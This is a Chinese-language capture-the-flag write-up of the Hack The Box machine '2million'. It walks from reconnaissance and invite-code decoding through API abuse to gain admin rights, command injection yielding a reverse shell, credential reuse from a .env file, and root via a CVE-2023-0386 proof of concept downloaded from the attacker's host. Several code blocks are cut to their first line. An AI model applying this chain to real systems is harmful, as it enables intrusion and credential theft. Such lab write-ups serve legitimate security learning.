信息搜集
nmap
1  | ┌──(kali㉿kali)-[~]  | 
目录和子域名
扫描无果
1  | sudo dirsearch -u http://2million.htb  | 
从nmap扫描的信息得到主域名
1  | sudo echo "10.10.11.221 2million.htb" >> /etc/hosts  | 
www-data
邀请码
点击join会重定向到/invite

要求输入邀请码

注册功能也需要邀请码才能注册
F12在invite页面中会发现一个名为inviteapi.min.js的js文件,内容如下:
即使做了js混淆,也可以明显看到verifyInviteCode和makeInviteCode函数
1  | eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))  | 
尝试在控制台中执行”inviteapi.min.js”文件中的makeInviteCode函数

1  | Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" }  | 
rot13在线解密得到
1  | In order to generate the invite code, make a POST request to /api/v1/invite/generate  | 
POST请求,在base64解密,成功得到邀请码
1  | ┌──(kali㉿kali)-[~]  | 
在/invite输入邀请码会重定向到/register,并且邀请码填充到了里面;

随意注册一个账号,并登录

获得管理员权限
/home/access点击”Connection Pack”抓包,发现一个下载ovpn文件的api;

api漏洞常规测试:
1  | GET /api/v1/user/vpn  | 
发现/api/v1有内容;内容是所有的api接口以及接口的作用

1  | {  | 
我们的账号只是普通用户;

返回401 Unauthorized,看来是没有权限

最终发现/api/v1/admin/vpn/generateAPI接口可以将用户帐户更改为管理员帐户
返回错误的数据类型

添加”Content-type: application/json”,返回缺少参数 “email”

添加一条”email”数据,返回缺少此参数“is_admin”

返回“is_admin”只能为0或1

最终成功修改为admin账号


命令注入
/api/v1/admin/vpn/generat也是生成ovpn文件的接口;生成 VPN 密钥的可能不是 PHP 代码,而是一些生成 VPN 密钥必要信息的 Bash 工具。值得检查是否有任何命令注入。

如果服务器正在执行类似的操作gen_vpn.sh [username],那么我将尝试;在用户名中放入username中以将其分解为新命令。我还将#在末尾添加一个以注释掉我输入后可能出现的任何内容;然后发现/api/v1/admin/vpn/generate接口存在命令注入

反弹一个shell到攻击机
1  | nc -lnvp 5555  | 
POST请求数据如下
1  | {  | 
成功反弹shell后,存在一个admin用户
1  | www-data@2million:~/html$ ls -l /home  | 
在web应用默认目录下的.env文件中发现用户admin的数据库密码,
1  | w-data@2million:~/html$ cat .env  | 
伪终端,连接数据库,在数据库中并没有找到可利用的信息,
1  | python3 -c "import pty;pty.spawn('/bin/bash')"  | 
尝试利用数据库密码连接admin的ssh
1  | ssh admin@10.10.11.221  | 
user_admin
ssh连接成功,但是在连接ssh的时候,有这样一些信息
1  | You have mail.  | 
利用find命令查找有关’mail’的文件
1  | admin@2million:~$ find / -name "mail" 2>/dev/null  | 
根据每个目录的作用,基本可以确定在’/var’目录下
从中有一些关键词OverlayFS / FUSE说明这台机器的内核会受到影响
1  | admin@2million:~$ cat /var/mail/admin  | 
user_root
我只是把关键词放到google;后面一些内容已经暴露了 一些exploit

其中排在google第一个的就是cve-2023-0386,文章中表明:如果系统的内核版本低于 6.2,则该系统可能容易受到攻击。
1  | admin@2million:~$ uname -a  | 
在 GitHub 上提供了针对此漏洞的 POC。虽然内容README.md很少,但提供了足够的使用说明。
我使用git克隆到我本地,再用python服务将poc上传到目标机上
1  | python3 -m http.server  | 
1  | wget -r http://10.10.16.17:8000/CVE-2023-0386  | 
再跟着readme.md操作;
编译
1  | make all  | 
使用
启动两个终端,在第一个终端中输入
1  | ./fuse ./ovlcap/lower ./gc  | 
在第二个终端输入
1  | ./exp  | 
成功提权为root
